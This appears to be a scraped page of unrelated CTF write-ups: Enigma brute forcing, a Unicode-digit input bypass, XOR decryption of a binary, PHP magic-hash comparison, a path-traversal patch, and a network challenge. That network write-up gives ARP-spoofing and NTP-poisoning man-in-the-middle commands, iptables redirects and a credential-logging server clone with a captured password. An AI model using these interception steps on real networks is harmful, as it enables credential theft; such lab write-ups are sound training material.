</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn4</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn4.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn5</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn5.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Linux install : ```sudo apt install python-pippip install py-enigma```Now find the ring setting for enigma and solve with python : ```from enigma.machine import EnigmaMachineimport copy
def next_position(M): L=copy.deepcopy(M) if L==len(L)*[25]: return L i=len(L)-1 while L[i]==25: L[i]=0 i-=1 L[i]+=1 return L
# example : nextposition([2,7,25]) = [2,8,1]
def get_setting(): test="" ring_setting=[1,1,1] ciphertext = 'IPUXZGICZWASMJFGLFVIHCAYEG' plaintext="HOWDYAGGIESTHEWEATHERISFINE" while 'HOWDYAGGIES' not in test: ring_setting=next_position(ring_setting) machine = EnigmaMachine.from_key_sheet( rotors='I II III', reflector='B', ring_settings=ring_setting, plugboard_settings='AV BS CG DL FU HZ IN KM OW RX') test = machine.process_text(ciphertext) return ring_setting ring_setting=get_setting()ciphertext="LTHCHHBUZODFLJOAFNNAEONXPLDJQVJCZPGAVOLN"machine = EnigmaMachine.from_key_sheet( rotors='I II III', reflector='B', ring_settings=ring_setting, plugboard_settings='AV BS CG DL FU HZ IN KM OW RX')plaintext = machine.process_text(ciphertext) print plaintext```
FLAG : PASSWORDISGIGEMXHISTGRYROCKSLEARNCRYPTOX |
Solving the challenge by using a stickey keys backdoor to access the hidden admin account, restoring their backedup files including a chrome plugin with the flag |
# EASYCTF - Soupstitution Cipher
> description: We had a flag, but lost it in a mess of alphabet soup! Can you help us find it? Connect to the server via `nc c1.easyctf.com 12484`.
> hint: I love parsing characters!
> category: Reverse Engineering
Okay, There is the source code in `python`:
```#!/usr/bin/env python3
from binascii import unhexlify as sOupfrom operator import attrgetter as souP
ME_FLAGE = '<censored>'
SoUp = inputsoUP = hexsOUp = printsOuP = ordSOuP = open
def SoUP(sOUP): soup = 0 while sOUP != 0: soup = (soup * 10) + (sOUP % 10) sOUP //= 10 return soup
def SOup(sOUP): soup = 0 for soUp in sOUP: soup *= 10 soup += sOuP(soUp) - sOuP('0') return soup
def SOUP(): Soup = SoUp()[:7] print(Soup) if not souP('isdigit')(Soup)(): sOUp("that's not a number lol") return
soup = SoUP(SOup(Soup)) SouP = souP('zfill')(soUP(soup)[2:])(8)[-8:] if sOup(SouP) == souP('encode')('s0up')(): sOUp("oh yay it's a flag!", ME_FLAGE) else: sOUp('oh noes rip u')
if __name__ == '__main__': SOUP()```
Okay let's first `deobfuscate` this SoupCode:
```from binascii import unhexlify, hexlifyfrom operator import attrgetter
ME_FLAGE = '<censored>'
def third(param): soup = 0 while param != 0: soup = (soup * 10) + (param % 10) param //= 10 return soup
def second(param): soup = 0 for soUp in param: soup *= 10 soup += ord(soUp) - ord('0') return soup
def principal(a): Soup = a[:7] if not attrgetter('isdigit')(Soup)(): print("that's not a number lol") return
soup = third(second(Soup))
SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:]
if unhexlify(SouP) == attrgetter('encode')('s0up')(): print("oh yay it's a flag!", ME_FLAGE) exit(0) else: pass```
Alright so the principal method, will take the first `7 digits`. Then the method `second()` will convert it to an int and the method `third()` will invert all digits (123 -> 321).
The goal is to enter in the `if unhexlify(SouP) == attrgetter('encode')('s0up')()`:
We have:
`attrgetter('encode')('s0up')() = 'S0up'`
And we want:
`unhexlify(SouP) = 's0up'`
So, reversing it:
`SouP = hexlify('s0up') = 73307570`
Just before we have:
`SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:]`
This is only a conversion to hexa, and we want it to be egal to 73307570:
`0x73307570 = 1932555632`
then soup = 1932555632
The program call `second()` and `third()` so all we have to do is to reverse this number:
`soup = third(second(Soup))`
We have Soup = 2365552391
The first line of the method limit our entry to 7 digits:
`Soup = a[:7]`
At this point you can try with the maximum 'legit' entry (`9999999`), u won't be able to reach 2365552391...
Okay first I commented the code with the values we would like to get:
```def principal(a): Soup = a[:7] #impossible if not attrgetter('isdigit')(Soup)(): #print("that's not a number lol") return #Soup = "2365552391" # this to win soup = third(second(Soup)) print(soup) #soup = 1932555632 # this to win SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:] #SouP = "73307570" # this to win if unhexlify(SouP) == attrgetter('encode')('s0up')(): # we want SouP = 73307570 print(Soup) print("oh yay it's a flag!", ME_FLAGE) exit(0) else: pass```
As u can see in the hint, there is characters that are interpreted as digit. let try to list some of them:
```def principal(a): Soup = a[:7] if not attrgetter('isdigit')(Soup)(): return print(Soup, end=" ")
for i in range(2500): principal(chr(i))```
The result is:
> 0 1 2 3 4 5 6 7 8 9 ² ³ ¹ ٠ ١ ٢ ٣ ٤ ٥ ٦ ٧ ٨ ٩ ۰ ۱ ۲ ۳ ۴ ۵ ۶ ۷ ۸ ۹ ߀ ߁ ߂ ߃ ߄ ߅ ߆ ߇ ߈ ߉ ० १ २ ३ ४ ५ ६ ७ ८ ९
Now let's see what is the value for one os this entry:
```def principal(a): Soup = a[:7] #impossible if not attrgetter('isdigit')(Soup)(): return soup = third(second(Soup)) print(soup) #soup = 1932555632 # this to win
principal('߉')# -> 5491
principal('߉111')# -> 1115491
principal('߉789')# -> 9875491```
Alright, as we can see, all numbers added after the special char will be before it after the second() and third() methods.So we want something like (weird_char + 552391) in entry and that weird_char = 5632
Let's brute force those values and see if the weird_char = 5632 exists:
```def principal(a): Soup = a[:7] if not attrgetter('isdigit')(Soup)(): return soup = third(second(Soup)) if soup == 5632: print(a) exit(0)
for i in range(10000): principal(chr(i))
# -> ७```
Nice ! the `७` should make us win this challenge !Lets try it directly on the server =)
> nc c1.easyctf.com 12484
> ७552391
> oh yay it's a flag! easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}
The flag is `easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}` =) |
```xxd hexxy | sort ```output (extract)First line : 07 7d 21 is for 45 4C 46 (E L F)```00000000: 2e07 7d21 316d 3542 3575 7a50 6a6a 4434 ..}!1m5B5uzPjjD4```Several lines : 51 42 ... 44 34 is for 00 00 ... 00 00```00000870: 5142 3167 336c 3442 3575 7a50 6a6a 4434 QB1g3l4B5uzPjjD4...00000da0: 5142 3167 336c 3442 3575 7a50 6a6a 4434 QB1g3l4B5uzPjjD4```Let's script it with python```#! /usr/bin/env python3f = open("./hexxy", "rb")startkey = b"|"data = f.read()startkey += bytes([ord('E') ^ data[1]]) #data[1]=0x07startkey += bytes([ord('L') ^ data[2]]) #data[2]=0x7dstartkey += bytes([ord('F') ^ data[3]]) #data[3]=0x21
keypart = b""keypart+= bytes([0 ^ int("51",16)])keypart+= bytes([0 ^ int("42",16)])keypart+= bytes([0 ^ int("31",16)])keypart+= bytes([0 ^ int("67",16)])keypart+= bytes([0 ^ int("33",16)])keypart+= bytes([0 ^ int("6c",16)])keypart+= bytes([0 ^ int("34",16)])keypart+= bytes([0 ^ int("42",16)])keypart+= bytes([0 ^ int("35",16)])keypart+= bytes([0 ^ int("75",16)])keypart+= bytes([0 ^ int("7a",16)])keypart+= bytes([0 ^ int("50",16)])keypart+= bytes([0 ^ int("6a",16)])keypart+= bytes([0 ^ int("6a",16)])keypart+= bytes([0 ^ int("44",16)])keypart+= bytes([0 ^ int("34",16)])
print (startkey) #b'QB1g3l4B5uzPjjD4'print (keypart) #b'|B1g'key=keypartcleartext = b""
for i in range(len(data)): cleartext += bytes([key[i % len(key)] ^ data[i]])
out = open("cleartext", "wb")out.write(cleartext)out.close()
f.close()```So now we get the output cleartext :```strings cleartext | grep -i gigem```FLAG : GigEm{NibblerEatsNibbles} |
## Segal's Law (Network Exploit, 175pt)
> "A man with a watch knows what time it is. A man with two watches is never sure." - [Segal's Law](https://en.wikipedia.org/wiki/Segal%27s_law)> > The third piggy (from Brick House) isn't too happy. Maybe you can make it up to him by contributing to his open-source web app
This was the last challenge in the Network Exploit category, created by [@nategraf](https://github.com/nategraf). It was actually the first time I worked on such special challenges in a CTF and based on my experience with *Segal's Law* I can say I really enjoyed it.
Speaking with [@nategraf](https://github.com/nategraf), he told me that all Network Exploit challenges were hosted in his platform ([Naumachia](https://github.com/nategraf/Naumachia)) that he has also [integrated with CTFd](https://github.com/nategraf/ctfd-naumachia-plugin) and open-sourced both - so lots of thumbs up go to him!
---
The challenge was not standalone and required information from the previous task, Brick House. Briefly, while performing a MiTM attack in the previous challenge, we could see the files of a web application being listed. This web application was our target for Segal's Law. While looking at the source of the files I observed a username (`catdaddy97`) in the `LICENSE` file. Combining this information with the challenge description (*"open-source web app"*), we found the [application source at GitHub](https://github.com/catdaddy97/catfacts). So, let's get started.
#### Network Mapping
We connect to the provided VPN and get access to the network `172.16.3.208/28` (each team had its own docker containers with a different dynamically allocated address space). Following the common steps of host discovery, port mapping, and also observing ARP requests in Wireshark for possible communication between the hosts, we have the findings given below:
```172.16.3.210172.16.3.211 <--- HTTPS Server (443/tcp)172.16.3.212 <--- NTP Server (123/udp)172.16.3.213 <--- Client/Bot```
Doing some `arpspoof` between the client and the servers, we are able to draw a more specific diagram of the network and the communications between them.
``` HTTPS Server NTP Server +--------------+ +--------------+ | 172.16.3.211 | | 172.16.3.212 | +--------------+ +--------------+ (443/tcp) ^ ^ (123/udp) | | | | | | +--+--------+--+ | 172.16.3.213 | +--------------+ Client/Bot```
#### Catfacts application

Catfacts is actually an application that allows users to view random facts about cats. However, logged in users have access to a bonus fact which we can assume is the flag we must capture.
As said earlier, we already have the [application source code](https://github.com/catdaddy97/catfacts). Quickly reviewing the source code we find out that there are no vulnerabilities we could exploit. We also tried to use the default (harcoded) credentials but that would be too easy.
Looking into the [commit history](https://github.com/catdaddy97/catfacts/commits/master) of the repository we see there has been an accidental commit of a SSL certificate alongside the private key. So, we download the files and inspect the certificate.
```❯❯❯ wget https://raw.githubusercontent.com/catdaddy97/catfacts/a371c28f3b6528f1e99052060564c1f248a3b922/certs/catfacts.naum.key❯❯❯ wget https://raw.githubusercontent.com/catdaddy97/catfacts/a371c28f3b6528f1e99052060564c1f248a3b922/certs/catfacts.naum.crt❯❯❯ openssl x509 -in catfacts.naum.crt -text -noout... Serial Number: d7:e1:68:24:27:56:d3:02 Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, ST=WA, L=Seattle, O=Naumachia CA, CN=ca.naum Validity Not Before: Nov 20 18:53:15 2016 GMT Not After : Nov 20 18:53:15 2017 GMT Subject: C=US, ST=WA, L=Seattle, O=The One and Only Cat Daddy, CN=catfacts.naum...```
The certificate has been signed by a local CA (`ca.naum`) but it has expired since November 2017. Now, let's inspect the live certificate.
```❯❯❯ openssl s_client -showcerts -connect 172.16.3.211:443 < /dev/null | openssl x509 -text -noout... Serial Number: d7:e1:68:24:27:56:d3:04 Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, ST=WA, L=Seattle, O=Naumachia CA, CN=ca.naum Validity Not Before: Nov 12 15:33:00 2017 GMT Not After : Nov 12 15:33:00 2018 GMT Subject: C=US, ST=WA, L=Seattle, O=The One and Only Cat Daddy, CN=catfacts.naum...```
It seems that the application is using a renewed certificate, signed by the same local CA (`ca.naum`). That means that the client will happily accept such certificates if they are not expired!
#### Summary
* The client syncs his hardware clock with the NTP server (`172.16.3.212`).* The client uses the application over HTTPS and we cannot intercept the communication since we don't have the certificate key for the live certificate and tools such as `sslstrip` or `sslsplit` (to forge a certificate) won't work with our expired cert.* It seems that the client will accept certificates signed by the `ca.naum` authority and it happens that we have been able to acquire such a certificate even though it has expired.
#### The attack
**Strategy:**
* Perform MiTM between the client and the NTP server and poison the client's clock so it will accept our expired certificate.* Clone and run the application locally and perform MiTM between the client and the HTTPS server in order to intercept the requests unencrypted.
Since the plan is to perform a MiTM attack, we first enable IP forwarding.
```echo 1 > /proc/sys/net/ipv4/ip_forward```
Next, we need to setup a couple `iptables` rules to handle redirection of packets. First, we want to forward NTP packets to [`delorean`](https://github.com/PentesterES/Delorean) so that NTP poisoning can take place. We also need a rule to forward HTTPS packets to our local Flask instance.
```iptables -t nat -A PREROUTING -p udp --dport 123 -j REDIRECT --to 1123iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to 8443```
Perform MiTM between the bot and the NTP server and poison the bot's clock.
```./delorean.py -n -p 1123 -d "2017-11-01 00:00"arpspoof -i tap0 -t 172.16.3.212 -r 172.16.3.213```
Finally, we perform MiTM between the bot and the HTTPS server, clone the catfacts application from Gtihub and perform a few tweaks so that it uses the expired certificate we own, and it also logs the POST data in login requests. The final version of the code can be found in the [catfacts](catfacts/) folder.
```arpspoof -i tap0 -t 172.16.3.211 -r 172.16.3.213```
```❯❯❯ python catfacts.py * Running on https://0.0.0.0:8443/ (Press CTRL+C to quit) * Restarting with inotify reloader * Debugger is active! * Debugger PIN: 204-472-512172.16.2.116 - - [21/Feb/2018 04:54:17] "GET / HTTP/1.1" 200 -172.16.2.116 - - [21/Feb/2018 04:54:21] "GET / HTTP/1.1" 200 -172.16.2.116 - - [21/Feb/2018 04:54:23] "GET / HTTP/1.1" 200 ---------------------------------------------------------------------------------DEBUG in catfacts [catfacts.py:66]:USER: catdaddy, PASS: YZ555N5MZCE2G6FAJTI367WTYQFFUMV2WB4Z4CLI4OAVRCUFQLHA--------------------------------------------------------------------------------172.16.2.116 - - [21/Feb/2018 04:54:26] "POST /login HTTP/1.1" 302 -172.16.2.116 - - [21/Feb/2018 04:54:27] "GET / HTTP/1.1" 200 -172.16.2.116 - - [21/Feb/2018 04:54:30] "GET / HTTP/1.1" 200 -```
```import reimport requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)
_target = 'https://172.16.2.117/'_user, _pass = 'catdaddy', 'YZ555N5MZCE2G6FAJTI367WTYQFFUMV2WB4Z4CLI4OAVRCUFQLHA'
sess = requests.Session()
# get csrf tokenresp = sess.get(_target, verify=False)csrf_token = re.search(r'value="([^"]{25,})"', resp.text).group(1)
# login and get flagresp = sess.post(_target + 'login', data={'user': _user, 'passwd': _pass, 'csrf_token': csrf_token}, verify=False)flag = re.search(r'gigem{([^}]+)}', resp.text).group(1)print '[+] flag: gigem{{{}}}'.format(flag)```
 |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/xiomara_2018_dig_deep/](http://www.aperikube.fr/docs/xiomara_2018_dig_deep/)
-----
# TL;DR
If you are not interested in the detailed answer to the question “How to solve this problem?”, the short answer is that you should never trust the file deletion process and ensure that you perform secure file deletion, especially for sensitive files or data.
Having quickly identified deleted files from on a file carving process, digging a little deeper, we were able to get access to confidential data. |
Break In CTF 2018: Connecting Will-------------
**Catégorie**: Misc **Points**: 500 **Description**:
> Will is lost in the Upside-Down and is stuck with the Demogorgon. El is looking for Will, when, she stumbles across a piece of code that Will wrote. The Demogorgon could not decipher the code and hence just left it lying around. El needs your help to find the 2 numbers that can get her the secret key which Will was trying to share. Can you help her?Link to submit: https://felicity.iiit.ac.in/contest/breakin/findingwill/index.html
**HINT**: > It’s a magical world without magical methods
Write up-------
**Connecting Will** was the second challenge of the CTF (the challenge wastagged as Misc but should be tagged Web), flagged simultaneously by**SIben** and **Shrewk**.
## Source code
The provided source code is the following:
```php
```
## Code analysis
The code is fairly straightforward, and its analysis teaches us **lots ofthings**:
- two parameters `hash1` and `hash2` passed in our request are used;
```php $first = $_POST['val1']; $second = $_POST['val2'];```
- at least one of them has to be a number;
```php if (!(is_numeric($first) || is_numeric($second)))```
- both parameters are hashed using MD5 (coupled with the provided hint, thisclearly hints at [magic hashes](https://www.whitehatsec.com/blog/magic-hashes/));
```php $hash1 = hash('md5', $first, false); $hash2 = hash('md5', $second, false);```
- `hash1` has to be different from `hash2`;
```phpif ($hash1 != $hash2) {```
- characters *a*, *b*, *c* and *d* are respectively transformed into *0*, *1*,*2* and *3*;
```php $hash1 = strtr($hash1, "abcd", "0123"); $hash2 = strtr($hash2, "abcd", "0123");```
- after this step and in order to obtain the flag, *hash1* has to evaluate asequal to *hash2*;
```php if ($hash1 == $hash2) { // Flag will be echoed here. }```
Sounds easy enough, let's flag this!
## Exploitation
We need to find one or more value(s) whose MD5 hash starts with **ae** and doesnot contain any **e** or **f** past the second character. All of these hasheswill evaluate as different during the first comparison, but be transformedinto magic hashes when the conversion between the two checks occurs.
A quick calculation tells us that this pattern should occur on average every1/16 × 1/16 × (14/16)^30 = **~14060** hashes. This can easily be bruteforced.
I implemented my bruteforcing algorithm using Powershell, because I'm lazy andit is very easy to use:
```$i=0$count = 0while($i -lt 1000000000 -and $count -lt 2 ){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($i))) $hash = $hash.replace("-", "") if($hash -like "AE*" -OR $hash -like "0E" -and $hash.substring(2) -notmatch "[EF]" ) { write-host -f cyan "Nombre:" $i write-host -f Magenta "Hash:" $hash write-host "`r`n" ++$count } ++$i}```
… Aaaand, I found two results!

Let's try them…
**FLAGGED !!!**
```Success. The flag is BREAKIN{I_Will_Connect}``` |
This was a series of challenges that involved a compromised WordPress website. Several proofs (screenshots, log extracts, WordPress archive, etc.) allowed us to answer questions. |
## maze (Secure Coding/Config, 100pt)
> I created this really cool CTF challenge where users are supposed to bypass client side authentication to get a flag. However it seems like people are able get the flag through other means!> Can you find and fix the problem in my challenge for me?> > [](https://gitlab.ctf.tamu.edu/root/maze)
You can find the unpatched source code in the [maze](maze/) folder.
#### Vulnerability
Path traversal through unsanitized `request.url`.
#### Patch
Use [`path.normalize`](https://millermedeiros.github.io/mdoc/examples/node_api/doc/path.html#path.normalize) to properly sanitize `request.url`.
```diffdiff --git a/server/server.js b/server/server.jsindex 8798017..54356a0 100755--- a/server/server.js+++ b/server/server.js@@ -29,7 +29,7 @@ app.get('/exit', function(request, response) { app.get('/*', function(request, response){ console.log('request starting...');
- var filePath = __dirname + '/..' +request.url;+ var filePath = __dirname + '/..' +path.normalize(request.url); if (filePath == __dirname) filePath = __dirname + '/../public/index.html'; var extname = path.extname(filePath);```
#### Flag
 |
Python Script:FLAG=Alpacaman
```import base64
